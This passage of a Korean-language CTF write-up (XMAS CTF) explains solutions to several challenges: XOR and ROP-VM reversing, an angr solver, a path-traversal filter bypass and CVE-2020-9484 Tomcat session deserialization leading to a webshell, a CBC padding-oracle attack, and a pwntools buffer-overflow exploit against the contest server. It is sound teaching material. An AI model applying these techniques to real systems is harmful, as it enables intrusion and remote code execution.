value1 = [0xF7, 0x7B, 0x64, 0x75, 0xFC, 0x7F, 0x65, 0x79, 0xFF, 0x73, 0x6C, 0x7D, 0xF4, 0x77, 0x6D, 0x61, 0xE7, 0x6B, 0x74, 0x65, 0xEC, 0x6F, 0x75, 0x69, 0xEF, 0x63, 0x46, 0x53, 0xDA, 0x5D, 0x47, 0x57, 0xD1, 0x51, 0x4E, 0x5B, 0xD2, 0x 55, 0x4F, 0x5F, 0xD9, 0x49, 0x56, 0x43, 0xCA, 0x4D, 0x57, 0x47, 0xC1, 0x41, 0x5E, 0x4B, 0xA9, 0x28, 0x30, 0x22, 0xA2, 0x2C, 0x31, 0x26, 0xA1, 0x20]
r = []
for i in range(len(value1)):
r += [ value1[i] ^ key[i % len(key)] ]
tb = "".join(map(chr, r))
또한, 위의 값을 통해 계산된 tb값을 통해 xor에 사용할 key값을 얻어오는데, key[0x06] = tb[0x0e]
와 같이 순차적으로 어셈블리를 따라가며 손으로 구했고, 그 값은 1ockd0or
임을 확인했다.
따라서, 주어진 value2와 새로 구한 key값을 xor하면 플래그를 획득할 수 있었다.
key = b"1ockd0or"
value2 = [0x69, 0x22, 0x22, 0x38, 0x1F, 0x43, 0x5B, 0x1C, 0x45, 0xE, 0x3C, 0x8, 0x5, 0x5E, 0x30, 0x17, 0x5F, 0x1B, 0x6, 0x19, 0x3B, 0x44, 0x7, 0x17, 0x6E, 0x7, 0x53, 0x1E, 0x17, 0x55, 0x12]
r = []
for i in range(len(value2)):
r += [ value2[i] ^ key[i % len(key)] ]
print("".join(map(chr, r)))
Flag: XMAS{s4nta_can_enter_the_h0use}
[N] - ROVM (615pts)
문제 파일로 chall
, chain
, opcode
로 3개가 주어진다. 여기서 chall
는 64bit ELF 바이너리로 이 프로그램은 chain
과 opcode
를 읽어와 VM으로서 실행된다. 바이너리를 분석하면 바로 알 수 있지만, 한눈에 확인해보기위해 ltrace 명령어를 이용해볼 수 있다.
위와 같이 0x1224000
의 주소에 opcode
파일을 읽어들이고, 0x1225000
에는 chain
을 읽어들여오는 것을 볼 수 있다. 프로그램 main의 마지막 부분에서는 return address
로 0x1224001
로, rbp
를 0x1225000
으로 변경하는데, 이를 통해 프로그램의 main이 끝난 후, chain에 들어있는 값들에 의해 실제 문제 내용이 실행될 것이라 볼 수 있다.
다음으로 opcode
와 chain
파일을 살펴볼 수 있는데, opcode
는 흔히 ROP에 사용되는 ROP gadget이 들어있다.
그리고 chain
에는 ROP chain이 구성되어있는데, 위에 보이는 opcode의 주소들로 구성되어있다.
아래 그림은 chall
바이너리의 main이 끝나고 난뒤 수행되는 부분을 보기좋게 정리해본 것이다. 사용자로부터 0x100만큼 입력 읽어들여 0x1224800에 read하는 부분이다.
이렇듯 ROP(Return Oriented Programming)
라는 기법에 맞게 실제로 가젯들과 체인을 이용해 새로 프로그래밍을 했다고 볼 수 있다. 이제 chain
와 opcode
를 매핑해가며 분석을 수행하면 아래와 같은 루틴을 가진 간단한 프로그램인 것을 알 수 있다.
def fail():
print("Fail!")
exit(0)
data = [0x96, 0x44, 0x5b, 0x25, 0x47, 0x8c, 0x59, 0x25, 0x92, 0x5a, 0x25, 0x41, 0xf0, 0x44, 0x27, 0xf0, 0x8c, 0x4c, 0x4c, 0x29, 0x59, 0x27, 0x25, 0x29, 0x2c, 0x59, 0x27, 0x76, 0x8c, 0x27, 0x5a, 0x25, 0x29, 0xc7, 0x29]
buf = list(input().encode())
if len(buf) != 35:
fail()
for i in range(0, len(buf)):
if (buf[i]*data[i])%0xfb != 1:
fail()
print("Congratz!! You get the flag")
사용자로부터 35의 길이를 가지는 문자열을 입력받아, data 배열의 값들과 차례로 곱하여 나눗셈 결과 나머지가 1인 입력만이 Congratz를 출력하게 된다.
때문에 위의 조건에 맞는 입력값을 찾는 스크립트를 작성하여 플래그를 획득할 수 있었다.
data = [0x96, 0x44, 0x5b, 0x25, 0x47, 0x8c, 0x59, 0x25, 0x92, 0x5a, 0x25, 0x41, 0xf0, 0x44, 0x27, 0xf0, 0x8c, 0x4c, 0x4c, 0x29, 0x59, 0x27, 0x25, 0x29, 0x2c, 0x59, 0x27, 0x76, 0x8c, 0x27, 0x5a, 0x25, 0x29, 0xc7, 0x29]
flag = ""
for c in data:
for i in range(256):
if (i*c)%0xfb == 1:
flag+=chr(i)
break
print(flag)
Flag: XMAS{R0P_c4n_b5_pr0gr4mm1ng_1angu4g5_1o1}
[O] - gift (650pts)
문제 서버에 접속하면 Gift List
, Send List
, Community
, Sign In
총 4개의 기능을 지원한다.
Send List
는 파일을 업로드하는 기능을 제공한다.
Gift List
는 Send List
에서 업로드한 파일을 확인할 수 있다.
Community
는 일반적인 게시판이며, 글을 작성할 수 있다.
Sign In
은 로그인 및 회원가입 기능을 제공한다.
가장 먼저, 회원가입 후 로그인 한다. Community
에는 별다른 취약점이 없는 것을 확인하였으며, Send List
의 경우, txt
파일을 제외한 나머지 확장자가 업로드 되지 않는 것을 확인하였다. 따라서 Gift List
를 중점적으로 살펴보았다.
Gift List
메뉴에 접근하면 http://host7.dreamhack.games:21247/list.jsp?name=qq
와 같은 형태로, name 파라미터에 로그인한 아이디가 들어간다.
이 때, name에 대한 검증이 없어 타인의 Gift List
를 살펴볼 수 있었다. 여기서 name
파라미터에 ..
을 삽입하면 상위 경로의 디렉토리 리스팅이 가능하다는 것을 확인할 수 있었다.
여러번의 시도 끝에, ../
가 필터링 되는 것으로 의심되었고, ..././
와 같이 우회하여 상위 경로로 접근할 수 있었다. 이를 통해 소스코드 및 설정파일 등의 위치를 파악할 수 있었다.
다음으로, Send List
에서 업로드 한 파일은 Gift List
에서 확인할 수 있었는데, 이 때 사용하는 URL은 http://host7.dreamhack.games:21247/detail.jsp?file=test.txt
와 같은 형태이다. detail.jsp
또한 상위 경로로 접근이 가능한 상태였으며, 이를 통해 위에서 알아낸 경로로 접근하여 소스코드 및 설정파일을 가져올 수 있었다.
루트 디렉토리
에 special_gift
라는 파일이 존재했는데, 실행파일이기 때문에 detail.jsp
를 이용하여 내용을 가져올 수 없었다.
결과적으로 RCE
를 통해 해당 파일을 실행해야만 했는데, send.jsp
를 살펴보면 txt
파일 뿐만 아니라 session
파일을 업로드 할 수 있도록 허용해둔 것을 확인할 수 있었다.
이를 통해 직렬화 오브젝트를 통해 공격하는 CVE-2020-9484
를 참고하여 공격할 수 있는 것을 확인하였다.
ysoserial
를 사용하여 시스템 명령어가 담긴 직렬화 session
파일을 생성하고, Send List
에서 해당 파일을 업로드한다.
Gift List
에서 확인할 수 있는 업로드 경로는 /usr/local/tomcat/media/gift/qq/{filename}
와 같은 형태이다.
따라서 JSESSIONID
쿠키의 값을 ../../usr/local/tomcat/media/gift/qq/{session_filename}
과 같은 형태로 설정한 후 메인페이지 등에 Request 요청을 날리게 되면 위에서 생성한 session 파일에 담긴 시스템 명령어가 실행된다.
이를 통해 웹쉘을 Send List
기능을 이용하여 업로드한 후, cp
명령어를 통해 jsp
로 확장자를 변경 및 소스코드가 담긴 위치로 이동시켜 웹쉘을 획득할 수 있었다.
이를 통해 루트 디렉토리에 있는 special_gift
파일을 확인할 수 있었고, cat
명령어를 통해 파일의 내용을 확인한 결과 /usr/local/tomcat/webapps/ROOT/flag
경로에 플래그를 쓰는 행위를 발견할 수 있었으며, 플래그 또한 확인할 수 있었다.
FLAG : XMAS{0mg_u_f1nd_a_sp3cia1_g1ft!!}
[P] - Oil system (385pts)
해당 문제는 인터페이스와 에뮬레이터를 하나의 바이너리로 구현한 문제였다. 인터페이스에서는 에뮬레이터에 동작할 파일을 생성 및 에뮬레이터 실행을 맡고 있으며, 에뮬레이터는 입력받은 데이터를 사용해서 구현된 코드를 실행시킨다. 에뮬레이터 내부에서는 아래와 같이 \x20\n
을 기준으로 토큰화 시킨후, sub_1a9a
함수를 실행시킨다.
sub_1a9a 함수에서는 아래의 그림과 같이 입력받은 값을 그대로 배열의 인자값으로 사용하는 것을 볼 수 있는데, 이는 oob가 발생하게 된다.
따라서, 스택에 존재하는 리턴 주소와 가젯 주소(base+0x1850
)offset을 계산해서 연산시켜주면 리턴주소가 변경되므로 쉘을 획득할 수 있다. 이때, 가젯에 맞춰주기 위해서 파일명은 sh으로 해야한다.
Flag: XMAS{U5e_Ma11oc_Nex7_tim3_Mr_Kim}
[Q] - angrforge (409pts)
해당 문제는 함수 내부의 수많은 서브 함수들을 호출해주는데, 모든 함수들이 플래그 인풋에 대한 연산작업을 거친다.
따라서, 문제 이름에 걸맞게 angr를 사용해서 문제를 해결할 수 있었다. stdin
를 처리하기 위해서 state를 구성했고, 적당히 constraint를 걸어서 빨리 풀 수 있었다.
import angr
import claripy
p = angr.Project('./angrforge', load_options={"auto_load_libs":False})
flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(56)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
st = p.factory.full_init_state(
args=['./angrforge'],
add_options=angr.options.unicorn,
stdin=flag,
)
for k in flag_chars:
st.solver.add(k != 0)
st.solver.add(k != 10)
sm = p.factory.simulation_manager(st)
#sm.explore(avoid=0x00403AFA, find=lambda s: "correct" in s.posix.dumps(1))
#print(sm.found)
#found = sm.found[0]
#print(found.solver.eval(flag, cast_to=str))
sm.run()
out = b''
for pp in sm.deadended:
out = pp.posix.dumps(1)
if b'OMG' in out:
result = pp.posix.dumps(0)
print(result)
print(next(filter(lambda s: b'OMG' in s, out.split())))
exit(0)
Flag : XMAS{h3_1s_b1o0d3lf_d3athkni9ht_wh0_will_kill_4ngrf0rge}
[R] - XP (556pts)
웹 상에서 Windows XP 테마의 템플릿을 기반으로 진행된 문제였다. 문제의 목표는 유료 컨텐츠
를 찾아 해당 기능을 사용하는 것이다.
처음 문제에 접속하면 Windows Login 창이 나타나며, 계정 생성과 로그인 기능을 지원한다. 계정 생성 시 유료 계정
을 선택하여 가입할 수 있었으나, 가입 후 기능 상의 차이는 없었다.
로그인 후 직박구리
폴더에 접근하면 what.mp4
라는 동영상이 존재하며, 이를 클릭 시 Windows Media Player가 실행되며, 재생 버튼을 누르면 약 3분 가량의 미리보기 동영상이 재생된다.
미리보기 3분이 지난 이후에는 유료 계정으로 전환할 시 3분 이상 볼 수 있다는 메시지가 나타나며 동영상이 종료된다.
유료 계정의 기능을 이용하기 위해 쿠키를 먼저 살펴보았다. 쿠키는 Flask 세션 토큰
으로 저장되어 있었으며, 온라인 디코딩 사이트를 통해 복호화하면 아래와 같은 형태의 값을 얻을 수 있다.
{"id":"qq2","primium":"KFxNCO0NAHWOSwr+sHrP2I2t9dsBClRuy8wyJsM/7RkXLg/fLM8qf7AqlpAaIQ5MwxGysMs+9HNsMgKuyjkQhndqZtAuVWaAX5z3CTg2l88=","sample":"tDTrwbLMug7UJgB9naoTTPSIOgjcyRZeGqr/zqTp/Gsuo2y4bNZu72yWD2EHNhfm5S75ni2l1oLVfHXtVp/HXo299T1wPpbnRUPmNKT+HCA="}
로그인 한 계정의 id와 primium, sample의 정보가 담긴 객체이다.
아직 이를 통해 알 수 있는 정보가 부족했기 때문에 다른 기능을 살펴보았는데, 이전의 what.mp4
동영상을 재생할 때 /api/check/video
와 같은 api를 호출하였다. 이 때, Flask 토큰
의 sample
과 동일한 값을 파라미터로 전달하는 것을 확인하였다. 또한, 해당 값을 임의로 변조하여 전송하면 CBC 형식과 맞지 않다
와 비슷한 문구가 출력되었다.
이를 통해 Oracle Padding Attack
에 대한 힌트를 얻을 수 있었으며, 공격 스크립트를 작성하여 해당 값을 복호화 하였다.
복호화 후 plefile is in static/media/sample/sample.m3u8
와 같은 결과를 얻을 수 있었다. static/media/sample/sample.m3u8
의 경로는 what.mp4
의 ts 파일에 대한 시간 및 파일명을 명시해주는 파일이다.
이를 통해 primium
의 값에는 flag를 획득할 수 있는 영상에 대한 정보가 들어있을 것으로 유추할 수 있다.
primium
의 값을 복호화하면 static/media/h1dd/3nf1l35s/f14gs.m3u8
와 같은 경로 정보를 얻을 수 있으며, 해당 파일에는 static/media/h1dd/3nf1l35s/f14gs0.ts
와 같이 플래그가 담긴 영상 파일의 정보를 확인할 수 있다.
하지만 f14gs0.ts
파일을 다운받아 확인해보면, 약 2분 뒤 플래그가 나타난다는 문구가 담긴 영상이 재생된다. 따라서 적당히 시간 차이가 나는 200번대의 영상을 다운 받아 재생하여 플래그를 얻을 수 있었다.
FLAG : XMAS{wearLongP4dd1ng}
[T] - picky_eater (256pts)
먹고 싶은 것만 먹는
이라는 말에서 힌트를 얻었다. 게임을 전부 깼음애도 Flag가 맞지 않았는데, 그 이유는 아래에서 설명하겠다.
-
게임 클리어 화면
게임을 클리어 하게 되면, 위와 같이 보이게 된다. 여기서 알아낼 수 있는 flag 내용은 다음과 같다. 이때 글자를 하나씩 먹을 때마다 뒤에 0이 두 개씩 추가되는 것을 확인할 수 있다.
Fake Flag : XMAS{$0lo_P1ickyY_$n@4k3?!}
-
문제 풀이 요점
위에서 확인했던 내용처럼, 뱀이 먹고 싶은 것만 먹는 편식 뱀이라는 것을 알 수 있다. 어떤 걸 편식하는지 확인하기 위해 PAUSE 기능을 활용하여 어떻게 숫자 0이 추가되는지 확인하였다.
X = +2 6 M = +2 8 A = +2 10 S = +2 12 { = +2 14 $ = +2 16 0 = +0 16 * l = +0 16 * o = +2 18 _ = +2 20 P = +2 22 1 = +2 24 i = +0 24 * c = +2 26 k = +2 28 y = +2 30 Y = +0 30 * _ = +2 32 $ = +2 34 n = +2 36 @ = +0 36 * 4 = +2 38 k = +2 40 3 = +2 42 ? = +0 42 * ! = +2 44 } = +2 46
이와 같이 별표 표시로 된 부분에서는 숫자가 추가되지 않는 것을 확인할 수 있었다. 따라서 이를 제외하면 Flag를 인증할 수 있다.
P.S. 원래는 solo 어쩌구 나오는데 슬퍼서 그 ol을 지웠나보다Flag : XMAS{$o_P1cky_$n4k3!}
[U] - baby_RudOIPh (223pts)
arm64 아키텍처 바이너리에서 발생하는 간단한 bof 문제로 0x040069C 주소로 점프하면 system("/bin/sh");
를 호출하는 코드가 존재한다.
from pwn import *
#r = process("./baby_RudOlPh")
r = remote("host4.dreamhack.games", 17388)
payload = b""
payload += b"A" * 72
payload += p64(0x040069C)
r.send(payload)
r.interactive()
로컬에서 쉘 획득이 가능한 것을 확인하고 대회 서버에서도 마찬가지로 진행하여 flag를 획득하였다.
Flag : XMAS{baby_RudOlPh’s_ARM_s0_ez!!}
[V] - mic_test (117pts)
Flag : XMAS{sAnt4_n3ed_qu4rant1ne}